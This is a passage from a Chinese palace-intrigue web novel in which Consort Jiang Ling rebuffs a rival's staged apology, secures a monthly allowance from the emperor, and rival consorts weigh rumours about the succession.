郑择道:“娘娘的事,臣定会放在前面,待臣下值后,就与吴太医一起去办。” 江舲颔首道谢,将永安伯上门,留了白芹栀子在江家之事告诉了两人。 “眼见就要到腊月,京城的宴请往来多,苑囿繁忙。阿爹与大哥恐应接不暇,劳烦两位帮着留些心思。若觉着有异样不妥之处,定来告知我一声。你们两位,也要多注意些,别被算计了进去。” 郑择愣了下,深深俯身施礼:“娘娘真正仁慈宽厚,臣甚是不如。娘娘且放心,臣会小心行事,尽全力帮着江郎中江主事。” 吴适山一并应承了,施礼告退。江舲朝阿箬看去,她拿出两个荷包递上前,两人连声拒绝,“臣的命都是娘娘所救,区区小事而已,娘娘这是折煞臣了!” 托人办事,岂能一毛不拔。且两人去寻人也好,费心思看顾着江文修父子也罢,皆要开支花销。 礼多人不怪,处处以救命恩人自居,总会使得人反感。 江舲亦不仗着身份品级压人,她还是喜欢礼尚往来。即便没江湖儿女的快意恩仇,在利益上添一份真诚。 “天气寒冷,拿去吃杯薄酒暖暖身子。”江舲笑着劝道。 两人见推辞不过,这才收了起来。离开繁英阁,四下无人,郑择捏着荷包,发自肺腑地感慨道:“这个宫中,竟然还有淑妃娘娘那般之人。” 吴适山想起死里逃生的情形,鼻子都发酸,道:“下官也时常觉着不可思议,淑妃娘娘虽贞静贤淑,却如那江湖儿女一样,豪爽仗义。以前与你我并无多余往来,却肯仗义相助,真正令人敬仰佩服。” 郑择肃然道:“淑妃娘娘托付之事,你我一定要尽心尽力去办好,方不负娘娘的恩情。” 吴适山道是,两人加快脚步,回了太医院。 过了两日,段才人坐着软轿,前来给江舲赔不是。 紫衫进屋回话,“娘娘,奴婢见段才人病恹恹,连路都无法走,还要新派去的顾嬷嬷许嬷嬷搀扶着呢。” 江舲冷笑一声,道:“她尚在坐月子,我也是在月子中。要死不活来赔罪,这是赔给谁看。她要赔罪,必须在众人面前赔罪!我不见她,就说我要看顾三皇子,不便见人,待出月子后再说!” 紫衫忙应下,江舲见她年幼,对文涓道:“你去打发了她。” 既然是元明帝的心尖宠,这时心怀叵测跑来,指不定晕倒受伤等等,到时赖在她身上,此事必须告知他知晓。 江舲又对紫衫道:“紫衫,你去垂拱殿禀报皇上,就说段才人被搀扶着来繁英阁,我让她回去了。” 文涓与紫衫一起走了出去,到了大门口,文涓见到软软靠在顾嬷嬷身上的段才人,屈膝施礼,不卑不亢地道:“段才人,娘娘要看顾三皇子,不便见人。段才人请回吧,待娘娘出了月子再来。” 顾许两位嬷嬷一言不发,段才人眼眶一红,柔弱地道:“淑妃娘娘只怕真是恼了我。我得罪了娘娘,娘娘如何怪罪,我都毫无怨言。” 说话间,她拂开两人的手,双腿软下去,在地上跪了下来。 文涓暗自恼怒不已,连忙侧身避让,道:“段才人这是何意,嬷嬷,还不扶段才人起身,若被人看了去,还以为娘娘故意为难,欺负段才人呢!” 顾许两人面面相觑,弯下腰就要去扶段才人。她抬手挡开,俯首在地上磕了个头,哀哀切切道:“今朝娘娘不见我,我明朝再来。待娘娘肯见我那一日为止。” 紫衫离开繁英阁,穿过夹道,便与元明帝一行相遇。她忙停下脚步施礼,回禀了段才人前来繁英阁之事。 元明帝皱起眉头,先前他已经得知段才人来繁英阁之事,眉头皱了皱,大步朝前走去。 出了夹道,元明帝远远瞧见,段才人正在繁英阁门前,虚弱无力跪地磕头。 第64章 顾许两人看到元明帝, 忙屈膝请安。段才人颤巍巍撑着起身,瘦弱的身子摇晃着,嘤咛一声方才撑住。侧首朝元明帝看来, 红着眼,眸中溢满了泪, 似乎是不胜体力,就势俯地, 行了跪拜大礼。 “你来这里作甚, 快快起来!”元明帝面色不悦起来,对着顾许两人沉声道:“让你们前去翠微阁, 究竟是如何当差的?数九的天气,竟然出门来, 可是不要命了?” 顾许两人一声不敢坑, 忙搀扶起段才人。紫衫在旁边看着,机灵地悄悄从背后绕过去,飞快地去向江舲回禀了。文涓则恭谨地肃立一旁, 不动声色看着眼前的情形。 段才人取出帕子蘸着眼角的泪, 哽咽着道:“皇上, 臣妾前来给淑妃娘娘赔罪, 淑妃娘娘不见臣妾, 臣妾知淑妃娘娘心里有气, 从不敢有半点抱怨。臣妾盼着淑妃娘娘早些消气,能让淑妃娘娘看到臣妾的真心, 哪怕是在冰上跪着, 也算不得什么。” 元明帝眉头皱了又皱,见文涓站在那里,问道:“淑妃呢?” 文涓垂下眼眸, 恭敬地道:“回皇上,先前三皇子醒了,娘娘在看着三皇子。奴婢奉娘娘的命前来回话,让段才人先坐好月子,出月子之后再来。” 元明帝唔了声,对段才人道:“既然如此,你出了月子后再来。” “皇上。”段才人眸中又盈满了泪,咬着唇,楚楚可怜地道:“臣妾对不住淑妃娘娘,臣妾心中有愧,淑妃娘娘如何待臣妾,都是臣妾该得的,臣妾还会再来,直到淑妃娘娘消气为止” “我不接受。”这时,江舲走了出来,朝元明帝屈膝见礼,坚定地道:“我不接受你的赔罪。” 元明帝愣住,段才人对着江舲的斩钉截铁,似乎一下也没反应过来。 “段才人,你污蔑的是我儿,我儿不会说话反驳,我必须替他讨回公道。众口铄金积毁销骨,你那些污蔑之言,传得沸沸扬扬。皇上只令你赔罪,你就该当着众人的面赔罪,承认你是你不安好心,一派胡言,故意将脏水泼在无辜稚儿身上。” 江舲笑了起来,声音不高不低,道:“段才人,你来繁英阁赔罪,是赔给谁看?莫非是赔给寒风看,赔给皇上看?段才人,我这个人,光明磊落坦坦荡荡,不会那些弯弯绕绕,只你的那些做派,我又不是傻子,你做给谁看呢?” 元明帝脸抽搐了下,变得不自在起来,不由自主别开眼,不敢去看江舲。 段才人靠在顾嬷嬷身上,不停地摇头,“淑妃娘娘误会了,我是真心来赔罪……” “我不接受啊!”江舲拔高声音打断了她,嘲讽地笑了。 “你看你,站都站不稳,在月子中顶着寒风出门,我却不让你进屋,你给我磕头下跪,我还是不见你。哎呀,要是传出去,我就成了欺人太甚,做得太过分了。因为你弱,你就有理,反倒成了被欺负的人。你阿爹永安伯也大张旗鼓去江家赔罪,永安伯身份何等尊贵,都纡尊降贵去向一个小郎中赔罪,若还是不宽恕的话,就是不知好歹,咄咄逼人。” 江舲不去看元明帝的脸色,亦不理会哭得梨花带雨的段才人,啧啧感叹了两声。 “你们永安伯府,真是家学渊源。江家小门小户,真真不敢与之相比。扮柔弱,使出苦肉计,将强买强卖,行欺凌之事做得冠冕堂皇。” 江舲眼神冰冷看着段才人,一字一顿地道:“别拿人都当做傻子,耍些上不得台面的心机。你的赔罪,我不接受。以后你赔不赔罪,我更不在乎。因为,我不想再与你有任何来往,你就是一摊恶臭的粪水,我不想沾上一身的粪臭!” 不出所料,段才人哭得直抽气,眼睛翻白晕了过去。 江舲大爽,畅快淋漓得浑身毛孔都在飞舞。 贵人说话做事,就是包裹着粪便的糖。即便是恨不得将对方挫骨扬灰,必须要讲究脸面,姿态的优雅。 江舲也学了七七八八,但她的本性并非如此,更喜欢红刀子进白刀子出。 段才人就像躺在脚面上的癞蛤蟆,虽无甚杀伤力,只着实令人恶心。 出身伯府,在京城算不得有权,却也算尊贵。被宠着长大的美貌娇娇女,进宫之后顺风顺水,起初还会掩饰一二,后来就忘乎所以了。 除去得罪了的赵嫔,其他的人,都不愿搭理她,实在是胜之不武。 且借着她之手,给江舲添些麻烦,大家都乐于看戏。 江舲却不想这般没完没了下去,她正在产后修复期,生子之后心态已经有了变化。她怕忍成产后抑郁。 至于元明帝,他看在二公主萧珈棠的面上,对赵嫔都揭过不提。她手握三皇子,有理有据打段才人的脸,他就是心疼,也不会对她如何,顶多背后补偿段才人。 果然,元明帝沉下脸,对顾许两人道:“还不将段才人带回去!你们是如何伺候的……” 本想惩罚两个嬷嬷,想到江舲先前替白芹栀子求情之事,话锋一转:“看好段才人,若再有闪失,朕定不会轻饶!” 顾许两人赶忙搀扶着段才人坐上软轿,匆匆离开。元明帝心疼地拢了拢江舲身上的风帽,道:“快些进屋去,仔细身子。你既然不想见她,何苦出来受寒,随便由她来就是。” “皇上都知道她来了,臣妾今日不见,还有明朝。皇上也瞧见了段才人的身子,臣妾估摸着,她很快便不利于行,卧床不起,被我欺负得快没了命。” 江舲伸了伸胳膊,讥讽地道:“谁叫臣妾顺顺当当呢,简直谁弱谁有理啊!皇上看着段才人,不是一样心疼,以为臣妾不该出来,应当纵容着她么。” 元明帝立刻叫屈道:“瞧你这话,说得真真是没有良心。朕是担心你的身子,何时纵容着她了?” 江舲道:“皇上要纵容谁,宠爱谁,臣妾断不敢置喙,只有一事相求。” “何事?”元明帝斜乜着江舲,仍旧一脸的怨气。 “臣妾想养条凶猛的狗。”江舲说道。 元明帝意外不已,他以为江舲要求惩处段才人以及永安伯府,谁曾想她是要养狗! “你养狗作甚?”元明帝好奇地问道,怕不答应她会生气,好声好气地道:“若你真要养,养条小些温顺的犬逗趣玩便是。宫中人多,凶猛的大犬咬了人,到时又是一场麻烦。” 江舲道:“以后臣妾不耐烦见谁,就将狗放出来。何况,只有狗咬狗,臣妾的狗,断不会咬人。” 元明帝听得忍俊不禁,“原来还在生气,将人都骂成了狗。瞧你这气性,还真是大。” 江舲笑笑,适可而止,她没再多说。回到次间,她脱下风帽,阿箬上前接过,紫衫忙奉上暖手炉。 元明帝前去看三皇子,见他难得醒着,睁着乌溜溜的眼睛,握着小拳头放在脸边。脸不再像刚出生时通红皱巴巴,圆嘟嘟吹弹可破。 从未体会过的情绪,在元明帝心头升起,阵阵暖流涌过。他眸中包含疼爱,伸手想要抱起来。 江舲净过手,套上了屋内穿的常服,抢先将三皇子抱在了怀里,道:“仔细他会尿在皇上身上,臣妾先给他把尿。” 元明帝低头看着身上的龙袍,闻言笑了起来,道:“臭小子敢撒在朕身上,如今他还小朕不计较,朕先记着,待他长大一些,朕再与他一起算。” 文涓奉了热水上前,元明帝说笑着,顺道净了手。他拿帕子擦拭时,蓦然反应过来,江舲先前先净手后,再去抱三皇子。 她是在嫌弃他手脏身上脏! 不过,元明帝倒未生气。龙袍不宜下水清洗,他身上的龙袍只掸过尘,熏过香,确实有些脏,该更换了。 江舲熟练地把了尿,穿戴好尿布,将三皇子放进摇车中。 “皇上,三皇子一个月的俸禄几何,到何处去领?”江舲坐在摇车边,笑着逗三皇子玩,顺便问道。 “一应的吃穿用度,皆从朕的内库支取。他还未满月,何来的俸禄?” 元明帝失笑,他斜乜了眼江舲,道:“是你这个阿娘,惦记着他的俸禄了吧?” 皇子未长大时,身边伺候的奶娘伺候的内侍宫女,皆由内库供养。不过,皇帝会赐一个虚衔封赏,皇子每月能领到一笔相应的俸禄。或者赏赐一大笔金银,土地等。无论俸禄还是赏赐,皆封存在内库的账目上,待皇子长大出宫开府后再发还。 大皇子二皇子与大公主二公主,都得了一大笔赏金,土地。三皇子应该也一样,元明帝赏赐一笔金银财宝,皇庄。 存在内库的账目上,对元明帝而言,好比是从左手倒腾到右手。皇庄每年有收成,收益等都由内侍管着。 江舲想三皇子封虚衔,每月领俸禄,俸禄拿在她手上,而非放在内库的账目上。 她下令江家父子不许吃拿索要,他们的俸禄低,养活一大家子,手头就不宽裕。 赵氏穷,也是因为开销用度大。赵德妃拿不到二皇子的赏金收成,她在后宫的月俸,克扣,底下人孝顺的钱财加起来,照样捉襟见肘。 郑择吴适山在帮着寻师爷,两个可靠得力的师爷开销,不是一笔小数目。 故而,江舲必须要将三皇子的俸禄拿在手。 “是,臣妾确实穷,想要领俸禄。”江舲坦白地道。 元明帝怔住,江舲将白芹栀子的情形,隐去了托郑择吴适山找师爷的事,只说是师爷,一一道来。 “皇上,江家来自偏僻之地,阿爹大哥他们都老实,臣妾叮嘱了他们,一定要清清白白当差。阿爹大哥老实得很,身边连个商议,跑腿办差的人都不曾有,到时哪应付得过来。只是雇师爷,阿爹大哥的那点俸禄哪够,臣妾就想着补贴一些给他们。” 江舲一未骂人,二来她毫不隐瞒,将她的打算和盘托出,真如她所言那般坦白磊落。 平时在朝堂难以听到真话,朝臣都是老狐狸,擅长各种言语机锋。 元明帝对此早已厌倦,很是高兴江舲的直率,心道:“她虽脾气差,到底始终信任朕,当朕是她的天,才会这般有商有量。江家父子确实弱了些,既然是朕儿子的外家,总不能让他们丢了朕儿子的脸。” “大皇子二皇子他们的赏金皆放在内库中,朕也不能乱了规矩。” 元明帝思索着,见江舲拉下了脸,赶紧道:“你亲自喂养三皇子,他没有奶娘内侍宫女伺候,朕将这些花销用度,算在翠微阁的花销上,由你支取,如何?” 江舲算盘拨得飞快,道:“待他长大一些,臣妾要给他断奶,总要有内侍宫女伺候。皇上,臣妾能支取多久呢?” “朕难道还能短了你的银子……”元明帝想到江舲无数次骂他小气,莫名地一阵心虚,改口道:“断奶还早呢,即便有宫女内侍伺候,朕不提这笔用度,你只管拿便是。” 江舲暂且满意,没有再多说,欠身谢了恩。 元明帝倒是被提醒,道:“伺候的宫女内侍总少不得,得提前寻起来。” 后宫人多复杂,江舲谁都不敢信,打算到时需要人手的时候,直接从刚进宫的宫女内侍中挑选,忙道:“皇上,臣妾身边的人手足够,如今还早着呢,待他长大一些再安排也不迟。” “行,一切都依你。”元明帝宠溺地道,他想起什么,脸上渐渐浮起疑惑,问道:“朕无论纵容谁,宠着谁,你就那般不放在心上?” 江舲瞪大眼,莫名其妙看着元明帝,心道:“牛粪疯了!他难道要玩帝王情深?” 元明帝迎着江舲的目光,等着她嘴上的回答,更是按耐不住地激动,期盼听到她真实的心声。 第65章 对元明帝宠爱, 江舲当然会放在心上。毕竟他是封建大胤的皇帝,掌控着她与江家的前程生死。 但他像是在吃醋试探,就显得格外滑稽可笑。 是天地间最最稀缺珍贵之物, 不许人间见白头,从古至今皆如此。 他不配! 江舲绞尽脑汁回道:“臣妾是皇上的嫔妃, 与后宫姐妹们一起侍奉皇上。雷霆雨露皆为君恩,臣妾以皇上为天, 臣妾岂敢不放在心上, 臣妾时时刻刻,莫不敢忘。” 虽未听到江舲心底的声音, 元明帝下意识觉着,她回答得虽得体, 却太冠冕堂皇, 仿佛朝廷封赏诏书的溢美之词,华丽得空洞无物。 元明帝心中失望,又难免不甘。他处处纵容着她, 一心为她着想, 提携她的家族, 深信她, 宠着她。 莫非, 他对她的宠爱还不够? 是了, 她喜欢银子,时常骂他小气。连三皇子的俸禄都惦记着, 确实寒酸。 元明帝一时间想了许多, 打定主意之后,禁不住暗暗得意起来。 到三皇子满月,江舲终于支取到了元明帝贴补的银子。 足足一千两! 江舲升为淑妃之后, 不算头面衣衫膳食冰炭灯烛等繁英阁开支,每个月的月例银是一百二十两。 除非变卖头面衣衫等,这一百二十两,才是她可支配的现银。 仅仅是三皇子的奶娘宫女内侍等开销,奴仆不值钱,这一部分的支出并不多。 如文涓每个月能领到的月例,只有区区一两五钱银子。秦尙宫是五品女官,一个月的月例银只有五两。 奶娘因为身份特殊,月例要高一些,每个月也只有三两银。 满打满算,三皇子的贴补银,无论如何都到不了一千两。 冬日天黑得早,繁英阁灯火通明,雪花在灯光氤氲下,如柳絮般飞舞。 次间温暖如春,腊梅凛冽的香气中,夹杂着金银特有的冰冷腥气。 “娘娘,饭菜该凉了,奴婢替娘娘收起来。”文涓侯了半晌,终于忍不住劝道。 “嗯。”江舲漫不经心回了声,仍旧一瞬不瞬看着卧榻。 榻上,整整齐齐铺着金锭银锭。 文涓看得抿嘴笑,江舲能拿到这般多的金银,她并不嫉妒,反而跟着高兴。 且不提江舲的慈悲,平时对繁英阁当差的宫女内侍都极好。从文涓被提为管事起,江舲每月私自她补贴一两银子,生三皇子升到淑妃后,每月的补贴,涨到了三两五钱。 文涓虽不是女官,实际能拿到的月例,比尙宫都要多。不止是文娟,阿箬紫衫她们,皆有额外的银子可拿。 这份月例,兴许比不得有些当着肥差的内侍女官,但文涓拿得放心。 宫中时常有人被责罚,惩处,杖责,扔进柳树巷。 靠着见不得光手段赚来的银子,最终竹篮打水一场空,没了命享受。 “收起来吧。”江舲满足地抚摸着冰凉的金锭银锭,起身去净手。 郑择吴适山两人按照江舲的要求,很是用心替江氏父子,各自寻了一个师爷。 师爷的月俸不算高,每个月就二十两银。但平时如应酬的一应花销,却是一笔不小的数目。 薛氏进宫时跟江舲提及过:“他们都住得远,要在我们家附近赁一间宅子给他们落脚暂住。哎哟,这周围的宅邸,就只两进的宅子,一间就要近五千两!只赁上一个月,足足要三十两银!” 江氏的宅子是元明帝所赐,离皇城近,周围都住着达官贵人,宅邸价值千金。即便是拿着银子,在周围也难买到宅邸。 江文修起初还有些顾虑,两个师爷一个月的花销太大,他与江承望两人的俸禄不高,如何养得起。 江舲果断地替他们做了决定,人才难得,越有本事的人,当然越贵。 白芹栀子养好伤,留在江家开始当差做事。薛氏陶氏在她们的帮助下,不仅轻松了许多,对京城的人情世故,来往应酬,皆有了就进步。变得愈发自在,得心应手了。 江小郎读书,江囡囡要女先生教导识字礼仪,皆要花费银子。 诸如种种,虽然开销庞大,是江家要在京城立足的必须。 一千两贴补在手,压在江舲肩上的重担,终于消散于无形。 江舲从净房出来,文涓也收拾好了金银,道:“娘娘先去用饭,奴婢守着三皇子,记好账目。” 满月的三皇子,圆胖的脸蛋红扑扑,睁着乌溜溜的眼睛,小嘴蠕动着,发出哦哦哦的声音。 江舲走到摇车边,伸出手指,他一下拽住了,咧着无牙的嘴,仿佛在笑一般很是开心。 看着他稚嫩天真的脸,江舲心软成一团,陪着他咿咿呀呀说了起来。 “这般晚了,怎地还没用膳?”伴随着元明帝的声音,帘被掀开,他带着一身寒意走了进来。 “臣妾在逗着小舟玩,正要去用膳。”江舲起身见礼,见他狐裘肩上落下的雪花,转头朝窗外看去:“雪下得这般大了。” 元明帝解下狐裘,道:“前些时日皆是些细雪,过一阵就化了。这一场雪下得大,如今外面已银霜素裹,积攒了厚厚的一层。” 江舲附和了句,心道:“下这么大的雪,你不在寝宫好好呆着,到处乱跑,我看是吃饱撑着了。” “你快去用膳。”元明帝催促着江舲,他走到摇车边,垂眸望着摇车中的三皇子,脸上不知不觉绽开了笑。 “是,臣妾先去用膳,皇上且看着一阵。”江舲将三皇子交给元明帝,前去明间用膳。 用完膳,三皇子也饿了,开始哼哼唧唧哭。江舲赶紧喂他,再换过尿布哄着他睡觉。待他睡着之后,江舲习惯了跟着他的起居歇息,此时也困了。她悄然打了个哈欠,准备前去洗漱。 元明帝斜倚在软垫上,从头到尾看着江舲,神情温柔似水,“累了吧,快过来坐着歇一会。” “你坐在那里看着,也累啊,嘴皮子累。”江舲暗搓搓吐槽,看在一千两的份上,她没再多抱怨,体贴地道:“雪下得大了,仔细天冷路滑,行走不便,皇上早些回去歇着吧。” 元明帝眼眸暗下去,道:“朕今晚就歇在繁英阁。” 江舲这时想起来,从怀三皇子到现在,再不曾侍寝过,她早就忘了这件事。 才生完满月几天,要是再接着怀孕,对身子伤害太大。 江舲顿时不乐意了,道:“臣妾夜里要时常起来给三皇子喂奶,定会吵得皇上无法安眠,皇上还是去别处歇着为好。” 元明帝冒着风雪严寒来到繁英阁,不仅是想要见到她,更想见到儿子,尤其是她与儿子在一起的其乐融融。 他生长在皇家,见识过承欢膝下,父慈子孝,终究是喧嚣太过,热闹有余,虚虚实实如大戏。 后宫不缺嫔妃,只回忆着与她床笫间的销魂滋味,元明帝就止不住心头一阵荡漾。 已近一年过去,元明帝好不容易等到她出月子,如今,他比初尝云雨时还要热切,片刻都不想再等! 除此之外,他从内库拨给了她一千两银的贴补,还期待着她的反应。 “这小子时常哭闹,朕何时嫌弃过了?”元明帝斜了眼江舲,看到她在灯下白皙细腻的肌肤,心口又是一阵灼热。 江舲皱眉,正在考虑如何与元明帝如何沟通,他已经欺身上前,俯低头贴近她,声音暗哑道:“嗯,你要是起来喂他,朕也一并瞧着。朕早就也想尝尝了。” “草!个么宗桑!”江舲心里狂骂,竭尽全力克制,才未一拳揍得他鼻青脸肿。 无数不可描述的文中,女人总是哭着求饶,违背了生理学,力学,一切的科学。老祖宗各种以形补形的方子中,最多的就是壮.阳之物,与后世某类药物销量最大一样,男性的问题,已流传了几千年。 江舲不再多言,暗暗发誓,她要弄死他! 洗漱完出来,三皇子元明帝吩咐文涓带了去,他倚靠在床头,脸上漾着春意,含情脉脉朝她伸出手:“快上来,别冷着了。” 江舲暗中冷笑,一言不发上了床。元明帝呼吸渐沉,他抬手撩下床帷,顺势将她楼在怀里。 离得近了,元明帝闻到江舲身上散发出来的奶香气,脑子瞬时轰地一声,热浪翻腾。 江舲被勒得透不过气,挣扎着腾出手,不客气地反守为攻。 好比领着百万铁蹄,前去攻打几个小毛贼。刀箭尚未出鞘,只扯出帅旗,元明帝已经缴械投降。 快活来得太过迅猛,江舲前去净过手回来,元明帝还一动不动躺在那里,胸脯起伏着,眉眼间的春意,比花红柳绿的三月还要浓。 “与卿卿在一起,最最畅快了。”元明帝脸上浮起恍惚的笑容,眼中满是爱怜,道:“卿卿,朕还要来。” 卿卿江舲道好,静等着元明帝的再次崛起。 “卿卿,朕待你的心,日月可鉴。” 元明帝握着江舲的手,贴在他的胸前,深情地在呢喃道:“一千两银子若是不够,卿卿尽管开口,便是将朕的心要了去,朕也心甘情愿。” 怪不得枕边风颇有用,男人在满足之后,真是什么话都说得出口。 卿卿江舲努力压制住反胃想吐的感觉,顺着元明帝话道:“皇上待臣妾真好,臣妾真真是感激不尽。皇上的心,比龙肝凤胆还要珍贵,臣妾区区凡俗妇人,万万不敢肖想。皇上每月再多贴补一千两,臣妾就满足了。” 元明帝毫不犹豫一口答应了,抬起手指揩拭着江舲的脸庞,轻笑道:“一千两银子罢了,朕都给卿卿。” 政事堂相爷的正俸公使银等俸禄加起来,一年在三万两银子左右。亲王最高,不算皇庄等收入,一年的俸禄在三万银子以上。 三皇子虽还年幼,一年拿到两万四千两的贴补,并不算特别多。 江舲先是一喜,旋即后悔得想哭。早知如此,她该要黄金千两! “卿卿可明白了朕的心?”元明帝眸中蜜意流淌,他停顿了下,握着江舲的手,往胸前靠了靠,柔声问道:“那卿卿待朕呢,可如此心般?” “天啦!好羞耻!怎么说得出口的?牛粪是看准下雪天不会打雷,不怕被雷劈了吧!草!连两百零八万都没有,两千两就要陪着演这么恶心的戏码,老子要告到中央去!” 江舲呵呵,怕她实在掩饰不了脸上的嘲讽,将脸埋了下去:“皇上,臣妾羞得很……” 元明帝没听到江舲暗中骂人,腹诽,认为她确实害羞了,得意地哈哈大笑。 “卿卿,冬夜漫长,我们再来。” 元明帝的嘴,比他的身子硬。 这一夜,江舲起来喂了三皇子两次,他却始终没能起来。 第66章 时光倏忽而过, 冬去春来,风一夜间就变得和煦,枝头的繁花, 谢了又开。 香雪阁中两颗梨树已经几十年,枝丫茂密。梨花方谢, 满树嫩黄的树叶,随着微风婆娑, 地上洒满细碎的日光。 宫女在谢嬷嬷耳边低声说了几句, 她眉头一皱,赶紧朝赵嫔看去。 赵嫔立在树下, 她微微仰着头,望着树枝间指尖大小的梨。腕间月白色的披帛垂落, 与闪着银光的宽幅裙缠绕在一起。 自从张稳婆张奶娘被惩处之后, 赵嫔便日渐消瘦。原本就身形纤细的她,此时仿佛将随风归去。 半晌后,谢嬷嬷暗自叹了口气, 不动声色摆摆手, 示意宫女退下。她轻手轻脚上前, 躬身道:“娘娘, 那边又从内库搬了一大匣子金锭走。” 赵嫔仿若未闻, 仍旧仰望着头, 极为认真地看着树上的梨。 谢嬷嬷说完等了片刻,见赵嫔未回应, 不敢多言, 正欲将退下时,只听到赵嫔道:“去岁的梨结得少,寡淡涩口。瞧这树上的架势, 定当是个丰年。” 平时赵嫔并不喜欢吃梨,梨同离,她亦不喜白。 元明帝称她着白,犹若青云出岫。自此以后,除去庆典筵席需着朝服时,赵嫔只着各式的白。 生了萧珈棠之后,赵嫔就极少侍寝了。她始终只挑选月白霜白粉白的布匹,无论冬夏。 “荣华阁那边可有消息了?”赵嫔淡淡问道。 “回娘娘,庄美人一大早发作,如今还未生下来。”谢嬷嬷答道。 赵嫔唔了声,“今年春上进的几个宫女子,皇上宠信了几人?” 只闻新人笑,哪见旧人哭。宫总每年进新人,几个身居高位,膝下有子的旧人,虽未再侍寝,日子还算过得不错。 今年的新人皆被元明帝宠信过,像是段才人以前深得宠爱,永安伯还了爵位给朝廷,她才留在了翠微阁。 只可惜,元明帝再未传她侍寝,只怕如九成旧人一样的下场,枯萎在深宫的角落。 不过,谢嬷嬷不敢断定,毕竟还有例外。比如繁英阁的江淑妃,算是旧人翻身,从小才人一路升到了妃位,圣宠不断。 开春后,中宫坤宁宫被围了起来,工匠们在忙碌修缮。宫中上下已经传遍,听说是元明帝打算将中宫再圈一部分出来,并入繁英阁。 谢嬷嬷想了下,抬手掌在脸上,懊恼地道:“奴婢愚钝,不该拿这些事来烦娘娘。” 赵嫔没再说话,转身往屋内走去。披帛滑落在地,赵嫔踩上去,很快就留下一道污渍。 “娘娘仔细脚下。”谢嬷嬷忙上前拾捡起披帛,赵嫔眼都不抬,继续往前走去。 “阿娘。”萧珈棠在西屋书房写大字,见赵嫔进来,跳下椅子屈膝见礼,甜甜喊了一声。 “阿棠的大字,如今写得愈发工整了。”赵嫔抚摸着萧珈棠的头,笑着夸赞道。 “等下我拿去给阿爹看。”萧珈棠被夸得高兴极了,摇晃着脑袋得意地说着。 赵嫔垂下眼眸应了声,萧珈棠脸上的笑变成了愁容,“可是,我始终比不过大姐姐。阿爹要是见到,就该数落我了。” “大公主从不去皇上面前……”赵嫔微笑说着,这时,她的话一停,神色若有所思。 “阿娘。”萧珈棠见她一言不发,不由得叫了声,“阿娘在想甚?” “没事。”赵嫔回过神,笑着宽慰萧珈棠:“你比大公主小,识字写字都晚,再过几年,你就能赶上了。” 萧珈棠立刻转忧为喜,赵嫔望着她肖似元明帝的面庞,柔声道:“阿娘出去一趟,阿棠快去继续写字。” “好。”萧珈棠乖巧地应下,坐回椅子中,挺起小身板,拿起砚台上的笔,端正地一笔一划写了起来。 赵嫔眼神慈爱看了一会,转身离开西屋,谢嬷嬷犹豫了下,道:“娘娘打算去何处,奴婢替娘娘更衣。” “我去柔仪宫与柳姐姐讨杯茶吃,柳姐姐不是讲究这些的人,无妨。”赵嫔满不在乎地说了句,脚步不停往外走去。 这时,福宁宫跑腿的小黄门走了进来,他见到赵嫔,赶忙停下脚步躬身一礼:“奴婢见过娘娘,德妃娘娘请娘娘前去福宁宫,老夫人进宫来了,想要与娘娘说话。” 过年时高老夫人进宫领过筵席,之后未再进宫。自福宁宫被护卫围着后,赵德妃与柳贤妃一样深居简出,再不复以前的荣光。 赵嫔垂下眼眸,掩去眸中的冷笑,道:“阿娘来了,我这就去。” 小黄门忙恭敬在前领路,赵嫔改去了福宁宫。赵德妃与高老夫人在暖阁吃茶,见赵嫔前来,两人都停下了说话,高老夫人起身肃立,赵德妃依旧依靠在床沿上,手上拿着一朵芍药花把玩着。 赵嫔先向赵德妃见过礼,对高老夫人道:“阿娘无需多礼,坐吧。” 高老夫人就势坐了下来,她眼眶红红打量着赵嫔,心疼地道:“滢娘,你怎地又瘦了?” 赵嫔道:“阿娘,我好着呢。德妃娘娘倒是瘦了不少,阿娘该多关心德妃娘娘才是。” 赵德妃脸上始终挂着浅淡的笑,高老夫人抹了泪,道:“你们姐妹都是我身上掉下来的肉,我都关心。先前我还在劝阿清,宫中的事情虽多,身子更要紧。” 赵嫔附和着说了声是,顺着高老夫人的话头,道:“阿娘上了年岁,也要多保重,儿孙自有儿孙庆福,阿娘少操些心,好好颐养天年。” “我哪能放得下,你几个兄弟都没甚出息,府中的那点收成,只够嚼用。前些时候吏部许侍郎府中赏花筵,给我递了帖子。我去走了一遭,唉。” 高老夫人一边说,一边唉声叹气,委屈抹泪:“去岁冬日做的新衫,就去张府吃寿宴时穿过半日。那日恰逢倒春寒,天气寒冷。我将那身衣衫穿了去,她们就像是看猴儿一般,看着我瞧个不停。我起初还不明白,去如测的时候,听到她们在嚼舌根,说是赵府真会过日子,去岁穿出去过的冬衫,到春日再拿出来穿去赴宴。一身衣衫,好生盘算着,怕是能当做传家宝。” 京城繁华,纸醉金迷。贵人们食不厌精脍不厌细,衣衫华丽繁复,一身贵重的衫裙,能卖到上万两。 夫人娘子们也会穿旧衫,只出门赴宴见客的话,一身衣衫断不会穿两次。 京城年节多,常有酒席宴请。赵府上下几兄弟,加上媳妇小娘子们,只做新衫一样,就要花掉府中的大半进项。 赵嫔脸色不大好,见赵德妃始终安静坐着,她也就一声不吭。 “那江家的薛夫人薛氏,也接到了帖子。她一身崭崭新的衣袍,料子我听侄儿媳妇邓氏说起过,是平江府上贡的织锦缎。薛氏乡下来的妇人,如今倒抖了起来,那些夫人都围着她,捧着她。” 高老夫人变得愤愤不平起来,生气地啐了口,道:“那些眼皮子浅的,惯常捧高踩低!” 赵德妃终于开了口,道:“阿娘,我那里有几匹布料,都是今年各州府上贡,最时兴的料子。等下我让黄嬷嬷拿来给你,你拿去做几声新衫穿。” 高老夫人神色讪讪起来,赶忙道:“我不是进宫来打秋风,你在宫中伴君,该穿得鲜艳些,我哪能要你的料子。” “阿娘,我伴君不靠鲜艳的衣衫。” 赵德妃微微笑起来,道:“阿娘你拿回去,与几个嫂嫂侄女们都做了,别舍不得,越是金贵的料子,越是与这花一样。” 她举着手中已然失去鲜活的芍药,“留不住,留着就失去了颜色,变得陈旧了。” 高老夫人左右打量着两个女儿,掩饰不住地忧心忡忡,她左顾右盼之后,压低声音道:“我听说,繁英阁的娘娘最是受宠,皇上赏赐的金银,一车车往繁英阁送。你大哥回来跟我说,他听到皇上有立三皇子为储君的打算。要是立了三皇子为太子,繁英阁的江淑妃,就得被立为中宫了。所以我才进了宫,赶着告诉你们一声。” 赵嫔下意识看向赵德妃,与她含着嘲讽的目光迎上,心中禁不住一咯噔。 “阿娘,你回去与大哥说,皇上立储君立后,皆是天下朝堂的大事,他就别管了,也别乱议论乱打听。” 